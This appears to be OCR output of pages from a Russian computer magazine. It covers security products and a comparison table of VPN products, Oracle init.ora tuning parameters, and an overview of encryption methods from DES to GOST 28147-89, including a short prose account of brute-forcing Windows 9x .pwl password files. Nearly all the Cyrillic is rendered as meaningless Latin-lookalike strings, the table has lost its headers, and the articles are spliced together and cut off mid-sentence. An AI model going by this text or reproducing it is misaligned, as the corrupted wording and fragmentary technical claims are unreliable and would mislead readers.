Public-Key Infrastructure (PKI) 

TeHepauMfl m ynpaB/ieHMe pMcJjpoBbiMM 
CepTMCj)MKaTaMM 


eTrust Internet 

3autma ot aian 

eTrust Antivirus (InoculatelT) 

3autMTa ot aTan M3HyTpM 

Bo3Mo>KHa MHTerpauMfl c npoflyKTaMM 

Defense KOMnaHMM 

b Internet 

eTrust Firewall 

3autMTa ot aTarc M3BHe 

Unicenter TNG fl/ia uempa/iM30BaHHoro 

Computer Associates 


eTrust Content Inspection 

CeMaHTMHecKayi BepMtfiMKauMfl noTOKOB flaHHbix 

ynpaBneHMA 6e3onacHocTbio. Pea/iM3yeT- 

(CA) 


eTrust Intrusion Detection 

Kompo/ib, ayflMT m MOHMTopMHr 6e3onacHocTM 

ca cfiyHKunfl npomocTMHecKoro ynpaB/ie- 



eTrust VPN 

3aiflMTa Tpac|)MKa m opraHM3apMfl 3aiflMifleHHoro obMeHa 

hmh 6e3onacHocTbio Ha ocHOBe MeTOflOB 




MHCflOpMaUMeM no OTKpbITbIM KaHa/iaM CBH3M 

narrepHOB (noflobMfl), hto no3BO/iaeT Bbi- 





HB/lflTb M 3(J)(J)eKTMBH0 MCn0/lb30BaTb MH- 
BapMaHTbi (3Ta/ioHbi) 6e3onacHoro noBe- 
fleHMfl KOpnopaTMBHOM MHCflOpMaUMOHHOM 
CMCTeMbl 







«nepHbie /ui(mkm». nepMOflMHecKMM aHa/iM3 co- 
flep>KMMOrO T3KMX CpeflCTB MO>KeT n03B0/l MTb 
Bblfl BMTb fleMCTBMfl H a py LU MTe/ieM M/1 M c 60 M B 
CMdeMe; 

► CMCTeMbl CKaHMpOBaHMfl 3aiMMTbl, HanpMMep KOM- 
naHMM Cisco, CA, ISS, pea/iM3yiomMe TexHO/iorMM 
TaK Ha3biBaeMoro «flpy>KecTBeHHoro B3/iOMa». no 
CyTM 3TO MHCTpyMeHTbl fl/lfl npOBefleHMfl pa3/lMH- 
Hbix aian b pyHHOM M/i m aBTOMaTMHecKOM pe>KM- 
Max c ue/ibfo BbmB/ieHM/i c/ia6bix MecT b cymecr- 
ByfoiMeM CMdeMe 3aiMMTbi. 


3aK/iioHeHiie 

no MHeHMio cneuMa/iMCTOB, coBpeMeHHbie kom- 
n/ieKCHbie CMCTeMbl 3au(MTbi KopnopaTMBHbix CMdeM 
Internet/Intranet flo/i>KHbi ocHOBbiBaTbai Ha c/ie- 
AyiomMx ocHOBHbix npMHLjMnax: 

► ueHTpa/iM30BaHHoe ynpaB/ieHMe cMdeMOM; 

► npMHUMn r/iy6oK03iue/iOHMpoBaHHOM o6opoHbi; 

► npMHUMn paBHonpoHHOCTM rpaHMA; 

► npocroTa CMCTeMbl 3amMTbi; 

► npMHAMn MMHMMa/ibHbix npMBM/ierMM; 

► npMHUMn coxpaHeHM/i 3au(MTbi npM OTKa3e; 


► npMHUMn np03paHH0CTM M HeBMAMMOCTM 3aiAMTbl. 

B noc/ieAHee BpeM/i Ha OTeHecTBeHHOM pbiHKe 
CpeACTB 3aiAMTbl nOflBM/lOCb OrpOMHOe KO/lMHeCTBO 
pa3HopoAHbix cpeACTB 6e3onacHOCTM KopnopaTMB- 
Hbix cMCTeM Internet/Intranet. ripaBM/ibHoe mx 
npMMeHeHMe c yneTOM BbiweynoM/iHyTbix upmu,v\- 
nOB B03M0}KH0 TO/lbKO npM r/iy60K0M nOHMM3HMM 
OCHOB 6e30naCH0CTM KOMnblOTepHbIX CMCTeM 
Internet/Intranet, a T3K>Ke Ha ocHOBe npMcra/ibHo- 
ro M3yneHM/i cyiAecTByioiAero npaKTMHecKoro onbiTa 
pa6oTbi b 3tom ccfiepe. Ceprew IleTpeHKO 


Checkpoint Firewall-1 /VPN 

MO flHkOkl KK «LUIin » 

klH(|}OTeKC ViPNet 

3/ibmc-h 3ACTABA 2.5 

H3paM/ib 

POCCMfl 

POCCMfl 

POCCMfl 

IPSec 

SKIP 

npoM3BOflMTe^yi 

SKIP 

nporpaMMHbiM 

nporpaMMHo-annapaTHbiM 

nporpaMMHbiM 

nporpaMMHbiM 

Intel, SunSPARC, HP m flp. 

Intel 

Intel 

Intel, SunSPARC 

Windows 95/98/NT /2000; Soliaris; Linux, HP-UX n flp. 

FreeBSD 

Windows 95/98/NT /2000; Linux 

Windows 95/98/NT; Soliaris 

Aa 

Aa 

Aa 

Aa 

Aa 

Aa 

Aa 

Aa 

Aa 

HeT 

Aa 

Aa 

DES; 3DES; CAST; IDEA n flp. 

TOCT 28147-89 

TOCT 28147-89; 

TOCT 28147-89; BECTA-2M; DES; 3DES 

168 

256 

256 

256 

1 

1 

1 

256 

HeT 

HeT 

HeT 

Aa 

Aa 

Aa 

Aa 

Aa 

33BMCMT OT An 

8 M6mt/c 

33BMCMT OT An 

33BMCMT OT An 

Aa/Aa/Aa 

Aa/HeT/Aa 

Aa/Aa/Aa 

Aa/Aa/Aa 

Aa 

Aa 

Aa 

Aa 

Aa 

HeT 

HeT 

HeT 

Aa, Ha napTMM M3Renm 

HeT 

Aa Ha npoM3BOflCTBo 

Aa Ha npoM3BOflCTBo 

HeT 

Aa 

Ha 3Tane cepTMcfiMKauMM 

Ha Kpumron/iarMH 

Aa 

HeT 

Aa 

Aa 

Aa 

AKKOPfl 

Akkopa, Dallas Lock; Secur ID 

Akkopa, Dallas Lock; Secur ID 
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SOLUTIONS CMCTeMHoe aAMMHMCTpnpoBaHMe 



Be 3 TOpMOWeHMfl 

Ha nosopoTax... 

Ba3bi flaHHbix Oracle noc/ie co3flaHnn HeKOTopoe BpeMfl (J)yHKi 4 M 0 HMpyi 0 T Mflea/ibHO. HacrpoMKM no 
yMonnaHmo Bno/iHe noflxoflBT fl/ia pa6oibi c He6o/ibWMMM o6teMaMM MHc|)opMapMM, a TOHHee CKa3aTb, 
ohm He CM/ibHO bjimaiot Ha 6bicTpofleMCTBMe «MonoflOM» 6a3bi. 


O AHaKO c yBe/iMHeHneM ko/i MHecTBa AaHHbix 
b 6a3e m HMc/ia no/ib30BaTe/ieM Tan mjim 
MH ane B03paciaeT BpeMA o6pa6oTKM 3anpocoB m 
ee o6c/iy>KMBaHMfl. HacrpoMKa cJayHKAMOH a/i b h bix 
napaMeipoB dparna MHMi4Ma/iM3ai4MM init.ora — 

3TO OAMH M3 Cn0C060B AOCTMHb MaKCMMa/lbHOTO 
6biCTpoAeMCTBM5i nporpaMMHoro o6ecneneHMfl 
npM MMeioiAMxcfl annapaTHbix pecypcax. 

KorAa n BnepBbie CTO/iKHy/icfl c Heo6xoAMMOC- 
TbHD TaKOM HaCTpOMKM, TO peWM/1 o6paTMTbCfl 3a 
noMOiAbio K/iMTepaiype no Oracle. OAHaKO h3mtm 
bckd Heo6xoAMMyio MHe MHcfiopMauMio no Bonpocy 


HacTpoMKM ini-c|DaM/ia MHe He yAa/iocb. Hepe3 He- 
cko/i bKO Anew Ha MoeM cro/ie ziewa/iM jpv\ 500 - 
CTpaHMHHblX TOMa C MHO>KeCTBOM 3aKJiaAOK, a c 
HeKOTopbiMM KO/uieraMM n eABa He McnopTM/i ot- 
HoweHMfl, nocroAHHO npMCTaBaa c BonpocaMM. 
I/Itotom Bcex stmx MyneHMM CTa/i cjaaM/i c MHO>KecT- 
BOM KOMMeHTapMeB M COBeTOB Ha pOAHOM A3blKe, 
b KOTopbiPi n co6pa/i bcio HaMAeHHyio MHcjDopMa- 
AMK). C Tex nop npow/io HeKOTopoe BpeMA, noflBM- 
/i MCb HOBbie npoAyKTbi Oracle, ho noAaB/iaioLAee 
6o/l bill M HCTBO B03M0>KHblX HaCTpoeK OCTa/lOCb Ta- 
KMMM >Ke, M3MeHM/lMCb TO/lbKO 3HaHeHMfl. 51 paC- 


CKa>Ky o HecKO/ibKMx HaM 6 o/iee 3 HaHMMbix napa- 
MeTpax, B/i mji K 5 L 4 MX Ha pa 6 oTy c 6 a 30 M AaHHbix. 

Eo/ibiue pecypcoe — ObiCTpee paOoTa 

Ec/im Baiu cepBep MMeeT mhoto onepaTMBHOM na- 
matm, to Bno/iHe /iotmhho pa3peiuMTb 6a3e ee mc- 
no^b30BaTb, npaBAa Ha bcakmm c/iynaM c/ieAyeT 
ocTaBMTb 7 - 10 % RAM cbo6oahom, p,nn toto hto- 
6bi He AonycxaTb npMB/ieneHMfl cfiaM/ia noAKaHKM. 

C TOHKM 3peHMfl CKOpOCTM K3LLI MpOB3HMfl ASHHblX 
MMeeT CMbic/i o6paiAeHMe TO/ibKO k 03 Y. npM pac- 
neTe oOteMa naMATM, KOTopbm 6yAeT Mcno/ib30- » 
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» Baibcu 6a30M, c^eflyeT npuHMMaib bo bh i/iMaHne 
TpM ocHOBHbix napaMeipa: shared_pool_size, 
db_block_size n db_block_buffers. HecMOTpu 
Ha to, hto Bbi6paHHbie mhom 3HaHeHMii npeBbiiua- 
tOT peKOMeHAyeMbie, k hum ctomt OTHOCMTbcu KaK 
K MMHMMa/lbHblM, npM KOTOpbIX B03M0>KHa KOM- 

cjDopTHafl pa6oia. 

HaMflMTe b init.ora c/ieAyiomi/ie ctpokm: 

shared_pool_size = 40000000 # INITIAL 

# shared_pool_size = 3500000 # SMALL 

# shared_pool_size = 6000000 # MEDIUM 

# shared_pool_size = 9000000 # LARGE 

3to ydaHOBKa ko/i MnecTBa naMUTM, BbiAe/iue- 
mom nofl 6yct>ep, b kotopom xpaHUTca coBMecTHO 
Mcno/ib3yeMbie Kypcopbi m npoqeAypbi SQL. Eam- 
HMLJbl M3MepeHM51 3TOM HaCTpOMKM — 6aMTbl. B 
nepBOM CTpoxe HaxoAmcfl pea/ibHbm yciaHaB/iM- 
BaeMbiPi napaMeip; ocia/ibHbie ctpokm 3aKOMMeH- 
TMpOBaHbl CMMBO/IOM «#» M npeAHa3HaHeH bl ftftft 
Toro, HTo6bi npM aAMMHMCTpMpoBaHMM 6bmo ^er- 
ne COpMeHTMpOBaTbCfl B HaCTpOMKaX. OAHaKO, KaK 
ft y>Ke roBopM/i, 3 tm 3HaHeHMu He B/ 153 kdtc5i omi/i- 
Ma/ibHbiMM, TOHHee, ohm noAxoAflT p,nn MHAMBMAy- 
a/ibHOM pa6oTbi c 6a30M, a p,nn KopnopaTMBHoro 
Mcno/ib30BaHMfl c^eAyeT yciaHOBMTb stot napa- 
Meip M3 pacneia 40 M6aMT Ha 20 no/ib30Baie/ieM. 

3HaneHMe pa3Mepa 6/ioKa AanHbix TaK>Ke oiAy- 
tmmo npM pa6oie c Oracle. 

db_block_size = 8192 

no yMO/iHaHMK) napaMeip db_block_size ycra- 
HaB/iMBaeic^ paBHbiM 2048, to ecrb 2 K6aMT. HaAO 
CKa3aTb, hto npaKTMHecKM Bee pa6oiaioiAMe c 
Oracle cneAMa/iMCTbi eAMHbi bo mhchmm, hto 3Hane- 
HMe 3Toro napaMeipa c/ieAyeT ycraHaB/iMBaib paB- 
HbiM 8192. ripo6/ieMa b tom, hto p,nn pa6oiaioiAeM 
6a3bi ero He/ib3u M3MeHUTb. Ec/im Bbi xotmtc ycra- 
HOBMTb Apyroe 3HaneHMe, to Hy>KHO 3KcnopTMpo- 
BaTb AaHHbie M3 MMeioiAeMcu 6a3bi, nepeco3AaTb ee 
c ApyrMM pa3MepoM 6/iOKa, m 3aieM MMnopTMpoBaTb 
AaHHbie b HOByio 6a3y. HecMOTpu Ha to, hto 3to ao- 
CTaTOHHO AO/iraa npoqeAypa, onpo6oBaB ee Ha oa- 

HOM M3 CBOMX 6a3 M AOBO/lbHblM pe3y/l bTaTOM, ft 
npMMeHM/i ee ko BceM ocra/ibHbiM. 

Tpeibu M3 HaM6o/iee Ba>KHbix HacipoeK — sto 
db_block_buffers. OHa KOHTpo/iMpyeT pa3Mep 
naMATM, KOTopbiM AOdyneH p,nft npoBeAeHMu one- 
paUMM. EAMHMAbl M3MepeHM5l 3TOM OnAMM — KO- 
/lMHecTBO 6/iokob 6a3bi, KOTopbie mo>kho Aep>KaTb 
b naMATM. 3Aecb onuTb-TaKM He ctomt no/iaraibcu 
Ha 3aKOMMeHTMpOB3HHbie peKOMeHAaUMM. 


db_block_buffers = 4000 

# INITIAL 

# db_block_buffers = 200 

# SMALL 

# db_block_buffers = 550 

# MEDIUM 

# db_block_buffers = 3200 

# LARGE 


TaKMM o6pa30M, 4000*8192 3to 32768000 
6aMT m/im OKO /10 32 M6aMT. Ec/im Ha oahom 
cepBepe pa6oiaiOT HecKO/i bKO 6a3, to ycia- 
HOBKaMM db_block_buffers m 
shared_pool_size mo>kho no/ib30BaTbc/i, hto- 
6 bi HadpoMTb Me>KAy hmmm npMopMTeibi no 
CKopocTM pa6oTbi. Ha stom r/io6a/ibHau HacT- 
poMKa 3aKaHHMBaeTCfl, Tenepb Heo6xoAMMO 
3acTa BMTb Oracle Mcno/ib30BaTb BbiAe/ieHHbie 
pecypcbi TaK, KaK HaM sto Hy>KHo. 

ToHbiue HacTpoMKa — MeHbiue 
npo6/ieivi 

HTo6bi He neperpy>KaTb 6a3y m o6ecneHMTb no/ib- 
30Baie/iflM onepaTMBHoe o6c/iy>KMBaHMe, c/ieAyeT 
o6o3HaHMTb MaKCMMa/lbHO B03MO>KHOe KO/lMHeCT- 
bo OTKpbiTbix ceccMM. llpM 33AaHM m 3Toro napa- 
Meipa c^eAyeT yHMTbiBaib, hto naiAe Bcero oahh 
no/ib30Baie/ib yciaHaB/iMBaei HecKO/ibKO coeAM- 
HeHMM c 6a30M. Ha npaKTMKe npM KopnopaTMB- 
HOM MCnO/lb30BaHMM OnTM M3/1 bH bl M 53 B/15ieTC51 
3HaneHMe 120. 


processes = 120 

# INITIAL 

# processes = 50 

# SMALL 

# processes = 100 

# MEDIUM 

# processes = 200 

# LARGE 


YcTaHOBKy c/ieAytoiAero napaMeipa c/ieAyeT 
Bbl6MpaTb B 33BMCMMOCTM OT CTM/151 pa 60 Tbl 6a3bl. 
OHa onpeAe/iueT MaKCMMa/i bHoe hmc/io OAHOBpe- 
MeHHO CHMTbiBaeMbix 6 /iokob. Ec/im naiAe 3anpa- 
Lu m B a iotc5i 6o/ibWMe o6'beMbi AaHHbix, to 3Hane- 
HMe 3 toto napaMeipa c/ieAyeT Bbi6MpaTb no6o/ib- 
me (LARGE), ec/iM OTAe/ibHbie nepeMeHHbie — 
cpeAHee (MEDIUM). 

db_file_multiblock_read_count = 16 

# INITIAL 

# db_file_multiblock_read_count = 8 

# SMALL 

# db_file_multiblock_read_count = 16 

# MEDIUM 

# db_file_multiblock_read_count = 32 

# LARGE 

/Via toto HTo6bi Bbi6paTb HaM/iyn id m m pe>KM m 
onTMMM3auMM AOdyna k AaHHbiM, npeAHa3Hane- 
Ha ouu,v\ft optimizer_mode. fl/iu Hee B03MO>KHbi 
TpM 3HaneHM5i: cost, rule m choose. CKa>Ky 

/lMUJb, HTO eC^M Bbl He MMeeTe B03MO>KHOCTM m^m 
H e xoTMTe AeTa/ibHO M3ynaTb stot Bonpoc, — 
Bbi6MpaMTe choose, m Oracle caM0CT05ne^bH0 
ydaHOBMT HaM6o^ee noAxoA^iAH^ cnoco6 onTM- 
MM33I4M M. 

optimizer_mode = choose 


napaMeip close_cached_open_cursors co- 
o6iAaei Oracle, c^eAyeT^M abho 3aKpbiBaTb Bee 
Kypcopbi, accouMMpoBaHHbie c Bbi30BOM 6^0Ka 
pl/sql, npM npMH5iTMM commit m^m rollback (npM- 

H5ITMM M/1 M OTKaie OnepaUMM). B03MO>KHbl ABa 

3HaneHM5i true m false — cooTBeTCTBeHHo, Bbi- 
CBo6o>KAaTb jim6o He BbiCBo6o>KAaTb OTBeAeHHyio 
naM/iTb. Biopoe 3HaneHMe Hy>KHO ji m lu b b c/iynae, 
KorAa oneHb nacTO noBTop/ieic/i OAHa m Ta >Ke 
onepauM/i o6paiAeHM5i k 6a3e. 

close_cached_open_cursors = true 

C/ieAyioiAMM napaMeip onpeAe/i/iei, c/ieAyei 
ji m BbiCBo6o>KAaTb naM/iTb, OTBeAeHHyio noA Kyp- 
copbi, no AaBHOCTM. Ec/im y Bac MMeeic/i 3H3 hm- 
Te/ibHbm 3anac naM/iTM, to p,nft yBe/iMHeHM/i npo- 
M3B0Ame/ibH0CTM ctomt yKa3aib 3HaneHMe true, 
b npoTMBHOM c/iynae — false. 

cursor_space_for_time = true 

nOC/ieAH5151, KaK MHe Ka>KeTC51, AOCTOMHa/l 
npMCTa/lbHOTO BHMM3HM51 ydaHOBKa — 3TO 
open_cursors. OHa onpeAe/i/iei, CKO/ibKO Kypco- 
POB MO>KeT 6blTb OTKpbITO OAHOBpeMeHHO. B c/iy- 
nae ec/iM sto KO/iMHecTBO npeBbiiueHO, noc/ieA- 
hmm no/ib30Baie/ib He cmo/kct 3aBepmMTb onepa- 
UMio, KOTopaa Tpe6yeT Mcno/ib30BaHM/i Kypcopa. 
fl/i/i 3Toro napaMeipa c/ieAyeT Bbi6MpaTb mmhm- 
Ma/ibHoe 3HaneHMe, npM kotopom onMcaHHa/i cm- 
TyauM/i He npoMcxoAm. 

open_cursors = 100 


AAMIIHHCTpaTOp 3A©Cb 

r/iaeHbiH 

B o6iAeM-TO, no/iHOAeHHO o6c/iy>KMBaTb Oracle 
Ha npaKTMKe AOBO/ibHO npodo. Ec/im noAOMTM k 
BO npOCy B3BeLLieHHO M OCMOTpMTe/lbHO, Bbino/i- 
HeH Me tm noBbix cfiyHKAM m 3amm h MCT paiopa 6a3bl 
33H MMaei coBceM HeMHoro BpeMeHM m He Tpe6y- 
ei 6o/ibiuMx ycM/iMM. fl HaAeiocb, hto mom coBeibi 
no HadpoMKe Oracle noMoryT KOMy-HM6yAb 
C3KOHOMMTb BpeM51 Ha nOMCKe Heo6xOAMMOM MH- 
Cf)OpMai4MM, a KOMy-TO — OCBOMTb a3bl aAMMHMC- 
TpMpoBaHM/i. Ec/im Bbi OTHocMTecb ko BTopoPi Ka- 
TeropMM m xoTMTe onpo6oBaib Bee caMM, to ca- 
MbiM npocTOM cnoco6 — 3aperMdpMpoBaTbC5i Ha 
www.oracle.com m cKanaib Personal-BepcMio 
Oracle p,nft Windows 9X, paccHMTaHHyio Ha mc- 
no/ib30BaHMe b TeneHMe 90 AHeM. KciaTM, A-n^ 
M3yneHM5i npMHqMnoB pa6oibi Personal Oracle 
noAxoAMT ropa3AO ziyniue, neM cepBepHbie Bep- 
CMM, TaK KaK MMeeT 3HaHMTe/lbHO MeHbiue «HaBO- 
POtob», KOTopbie Ha nepBbix nopax TO/ibKO 
MemaiOT. 

■ ■ ■ flMviTpvm Acay/ieHKO 
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SOLUTIONS m e t o fl bi 3 a m m t bi MH(J)opMauMM 



063OP MeTOflOB LU M c(3 p 0 B a H M 51 1/1 MBCKI/ipOBKH I/I H <£ 0 p M a U I/I I/I 


MH<t>0 3Mai|f1 

UlMCppbl, KOMnbtOTepbl 

Mfleyi cfle^aTb MHCpopMaumo HeflociynHOM p,nn nodopoHHMX noriBn/iacb Tax >Ke flaBHO, KaK n caMa 
nucbMeHHOCTb. Ciex nop Kpnniorpac|DM 5 i n KpnnTorpacpnHecKUM aHa/in 3 Aocrnmn oneHb BbicoKoro 
ypoBHfl. lloflBn/iocb MHOwecTBO a/iropnTMOB Kax wncppoBam/m, TaK m B 3 /ioMa wncppoB. Hero ctout, 
HanpnMep, pa 3 raflKa nncbMeHHOcren npaKTnnecKM Bcex n 3 BecTHbix flpeBHnx AHBn/in 3 apnn. 


co6eHHo 6o/ibwoM npopbiB b stom 06/iacTM 
6bm cfle^naH noc/ie M3o6peieHMfl KOMnbioiepa. 
rio^BM/iMCb in mcJd p bi, Ha B3/10M KOTopbix, no noAcne- 
TaM npow/ibix /ieT, noHaAo6M/iMCb 6bi roflbi mjim Aa- 
>ne cmneTMa. Ho cfiaHTacTMHecKoe pa3BMTMe mh- 
cf)opMai4MOHHbix TexHO/iorMM cbirpa/io 3/iyio myTKy c 
pa3pa60THMKaMM a/iropMTMOB UJMCj)pOBaHM51. P33BM- 
TMe ceieBbix TexHo/iomM, B03M0>KH0CTb pacnapa/i- 
zie/iMBaHMfl BbiHMc/ieHMM, a maBHoe — pa3BMTne 
KpMnT0aHa/lM3a n03B0/lM/ll/1 B3JiaMblBaTb LUMCppbl, 


KOTopbie eiAe HeAaBHo CHMTa/iMCb a6co/iiOTHo Ha- 
Ae>KHbiMM. Ho HayKa MAeT BnepeAM TexHMKM. l"loflB- 
JI51IOTC53 Bee HOBbie M HOBbie MeTOAbl 3aiAMTbl MH- 
Cf)0pMai4MM M, COOTBeTCTBeHHO, HOBbie MeTOAbl 
B3/iOMa. H KOHLja 3T0My He bmaho. AocraTOHHO jier- 
KO npMAyMaTb CBOM a/iropMTM LUMCjDpOBaHI/ljH, HO KaK 
A0Ka3aTb ero HaAe>KHOCTb? C/io>KHOCTb a/iropMTMa 
TaK>Ke He rapaHTi/ipyeT ero h3A6>khoctm, a jiMWb 
yBe/iMHMBaei BepoflTHocrb cyiAecTBOBaHMA b HeM 
«Abip». 


AaBaMTe >Ke nonbuaeMCfl copneHTi/ipoBaTbCfl b 
cyiAecTByioiAMx Ha ceroAHflWHMM AeHb cpeACTBax 
3 aiAMTbl MHCjDOpMaAMM. 

K/1IOHM 14 3aMKI4 

B HacTO^iAee BpeM* MHcjDopMaAMio 3aiAMiAaiOT Ta km - 
MM KpMnTOrpacjDMHeCKMMM MeTOAaMM, KaK UJMC|DpOBa- 
HMe, npMHeM cyiAecTByiOT QJMc|)poBaHMe c 3aKpbiTbiM 
(CMMMeTpMHHa^ KpM nTOCMCTeMa) M OTKpbITbIM K/1I0- 
hom, 3/ieKTpoHHafl noAnMCb m CTeraHorpacjDMfl. Han- 
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HeM c caMoro npocroro — wnc|DpoBaHn/i c 3aKpbi- 
TblM K/l IOHOM. B KpMnTOCMCTeMaX 3TOTO TMna MC- 
nO/lb3yiOT eflMHblM KJIIOH K3K LDMCjDpOBaHn/l, T3K 
M AeWMCj/pOBaHM/l. 

B OCHOBe nOHTI /1 Bcex CMMMeTpMHHbIX KpMnTOCM- 
deM ziewaT 6 /ioHHbie mucfipbi. BxoAHa/i MHcJ/opMa- 
\\m Ae/iMTC/i Ha paBHbie 6 /iokm, noTOM k Ka>KAOMy 
M 3 HMX MO>KeT AOnMCblBaTbC /1 ayTeHTMC|DMKaAMOHHa^ 
MHcjDopMauM^, a 3aieM Ka/KAbm 6 /iok iunc|3pyeTC53 b 

33BMCMMOCTM OT K/llOHa. OflHMM M3 yC/lOBMM AB/l/ieT- 
cn AOCTaTOHHo 6o/ibwoM pa3Mep 6/ioKa, HTo6bi mc- 
K/llOHMTb CTaTMCTMHeCKMM aHa/lM3 LUMCfipa. fl/1/1 
o6ecneneHM/i ycnewHOM AeiuMcjDpoBKM npoueflypa 
LUMCjl)pOBaHM51 6/lOKa AO/l>KHa 6blTb o6paTMMOM, a He- 
3HaHMTe/ibHoe M3MeHeHMe K/uona m/im bxoahom mh- 

CjDOpMaUMM AO/DKHO npMBOAMTb K 3HaHMTe/lbHblM M3- 
MeHeHM^M B LUMCjape. HT06bl MCK/llOHMTb B03M0>K- 
HOdb TOTa^bHoro nepe6opa K/noneM 3a pa3yMHoe 
BpeM/i, pa3Mep K/nona Heo6xoAMMO CAe/iaTb Aocra- 
TOHHO 60/lbLUMM. TaK>Ke HaAO MCK/llOHMTb B03M0/K- 
HOCTb no/iB/ieHM/i «n/ioxMx» K/noneM, npM Mcno/ib30- 
B3HMM KOTOpbIX BXOAHa/1 M HCflOpMaAMfl HeKaHeCT- 
BeHHO WMcj/pyeTC/i, to edb LiiMcJap zierKO pa3raAaTb, 
M/iM He lUMcfipyeTCfl BOBce. 

OaHMM M3 CaMbIX CTapbIX a/1 ropMTMOB LUMC|DpOBa- 
HM /1 C 3aKpblTblM K/l KDHOM 53B/153eTC53 a/lTOpMTM DES 
(Data Encryption Standard — craHAapT uiMcjDpoBa- 
h M/i AaHHbix), KdopbiM QJMpoKO npMMeHfleTCfl m no 
ceM AeHb. Pa3Mep 6/iOKa b a/iropMTMe DES cocraB- 
/i/ieT 64 6MTa, a pa3Mep K/nona — 56 6 mt. A/iropm- 
Mbi, co3AaHHbie Ha OCHOBe DES, npocTbi, nosTOMy 
MO>KHO AOCTMHb OHeHb BbICOKOM CKOpOCTM LUMCjDpO- 
B3HM/1 ASHHblX M 3TM 3/1 TOpMTMbl MOTyT 6blTb pea/lM- 
30BaHbi annapaTHO. OAHaKO neM npoiAe a/iropMTM, 
TeM 6bicipee 6yAeT npoMcxoAMTb noA6op K/noneM. 

M b HacTO/iiAee BpeM/i cia/io B03M0>KHbiM ocyiAe- 
CTB/i/iTb TOTa/ibHbiM nepe6op K/noneM k a/iropMTMy 
DES 3a pea/ibHoe KO/iMHecTBO BpeMeHM. CiaHAapT 
DES 6e3HaAe>KHO yciape/i. EMy Ha CMeHy npnm/iM 
6o/iee coBepiueHHbie a/iropMTMbi. 

riofi BM/1C53 Tpomhom DES (Triple DES) — AaHHbie 
CHana/ia WMcfipyiOTai no a/iropMTMy DES c oahmm 
K/ l KDHOM, 3aTeM AeiU MC|3pyiOTC53 no 3TOMy >Ke a/iropMT- 
My, ho y>Ke c ApyrnM k/iiohom, a 3aieM BHOBb wmcJd- 
pyiOTC/l C TpeTbMM k/iiohom. ripMMeHaTe/ibHo, HTO 
TpOMHOM DES COBMeCTMM CO CTaHAapTHbIM DES. Ec/im 
B ee Tpn K/llOHa B3flTb OAMHaKOBbIMM, TO TpOMHOM DES 
npeBpaTMTC/i b DES. TaKMM o6pa30M pa3Mep K/nona 
yBe/wHMBaeTCfl b Tpn pa3a, ho bo CTO/ibKO >Ke pa3 
6o/ibiue yxoAMT BpeMeHM Ha wncj/poBaHne m AewMc|D- 
poBaHMe. EiAe oamh m 3 BapnaHTOB ycoBepnieHCTBO- 
BaHM/i a/iropMTMa DES — sto DESX. 3Aecb nepeA 
WMcJ/poBaHMeM no a/iropMTMy DES 6 /iok bxoahom mh- 
cJ/opMauMM CK/iaAbiBaeTC/i no MOAy/no Asa c nepBbiM 
k/iiohom, 3aTeM npoMcxoAMT iiiM(|)poBaHMe no a/iro- 
pMTMy DES, ho y>Ke c ApyrnM k/iiohom, a noTOM no/iy- 
HeHHazi MHcf)opMai4M/i BHOBb CK/iaAbiBaeTC/i no MOAy- 
/no Aaa, ho y>Ke c TpeTbMM k/iiohom. DESX, b ot/imhmc 
ot TpoMHoro DES, no ckopoctm HeHaMHoro OTCTaeT 
ot DES. Ec/im nepBbiM m TpeTMM k/iiohm DESX B 3/iTb 
Hy/ieBbiMM, to DESXTaK>Ke npeBpaTMTca b DES. 



KpoMe TpoMHoro DES m DESX, no/iBM/iocb mho- 

>KeCTBO APyrMX CMMMeTpMHHbIX KpM nTOCMCTeM. 3 to 
m MD5 — a/iropMTM, KOTopbm M3Hana/ibHO 6bi/i pa3- 
pa6oTaH p,nn BbiHMC/ieHMA xeui-cjDyHKAMM, ho ycnew- 
ho npMMeHfleTC/i p,nn wncjDpoBaHn/i, m RC6, C03AaH- 
HbiM KOMnaHMeM RSA Data Security, Inc. A/iropnTM 
RC6 /ier b ocHOBy hoboto aMepMKaHCKoro CTaHAap- 
Ta hi M cJ/poBaHM/i AES (Advanced Encryption 
Standard), npniueALuero Ha CMeHy DES. B Poccnn 
T3K>Ke npOXOAM/lM pa3pa60TKM B 3TOM 06/iaCTM, M B 
1989 roAy 6bi/i npMH/iT Poccmmckmm craHAapT lu mc| 3- 
poBaHM/i — TOCT 28147-89, KOTopbm HaMHoro npe- 
BOCXOAM/l aMepMKaHCKMM DES. 

napO/lli M 0T3blBbl 

CyiAecTByeT mho/kcctbo xopouiMx a /i topmtmob lu mcJd- 
poBaHMA, ho Ha npaKTMKe 3anacTyto npnMeH/noTC/i 
ycTapeBLUMe m/im HenpoBepeHHbie a/iropMTMbi. Ha- 
npMMep, b ceMeMCTBe onepaunoHHbix CMcreM 
Windows 9x ecTb cJayH K14M53 MAeHTMc|DMKaAMM no/ib- 
30BaTe/ieM. flpM BxoAe b Windows no/ib30BaTe/no 


pa6oTbi Ha o6biHHOM nepcoHa/ibHOM KOMnbioTepe 
paciuMc|DpyeT ero. CaMoe MHTepecHoe to, hto npo- 
rpaMMy B3/iOMa pwl-cJ/aM/iOB cmo/kct HanncaTb npo- 
rpaMMMCT cpeAHeM KBa/iMc|DMKaAMM. OHa pa6oTaeT 
oneHb npocTo: iiiMcj/pyiOTC/i BceB03M0>KHbie kom 6 m- 
HaAMM CMMBO/IOB, M nO/iyHeHHblM LUMCjap epaBHMBa- 
eTC/i c hi M cJ/poM M3 pwl-cfiaM/ia. Ec/im 06a LiiMcjapa 
coBnaAyT, to McxoAHa/i KOM6MHauM/i 6yKB m /iB/i/ieT- 
cn mcxoahwm napo/ieM. A ec/iM HeMHoro BHMKHyTb b 
tohkoctm a/iropMTMa hi M cJ/poBaH M/i, to no/iHbiM ne- 
pe6op MO>KHO OrpaHMHMTb, OTMeTa/1 33BeAOMO He- 
BepHbie kom6mh3Amm cmmbo/iob. 

EiAe oamh npMMep HerpaMOTHoro Mcno/ib30Ba- 
HM/l KpM nTOCMCTeM — 3TO pa60Ta CGI-MHTepc|DeM- 
ca. CGI-MHTepc|DeMc no3BO/i/ieT no/ib30BaTe/uo He 
TO/ibKO npocMaTpMBaTb CTaTMHecKMe web-CTpa- 
hmhkm, ho m 3anycKaTb nporpaMMbi Ha CTopoHe 
cepBepa m no/iynaTb pe3y/ibTaTbi pa6oTbi stmx 
nporpaMM b OKHe CBoero web-6poy3epa. I/Icxoa- 
Hbie AaHHbie p,nn pa6oTbi CGI-CKpMnTOB nocbi/ia- 
iotc /1 M3 cfiopM b HTM L~AOKyMeHTax. HanpMMep, 


OamacTMHecKoe pa3BMTMe 

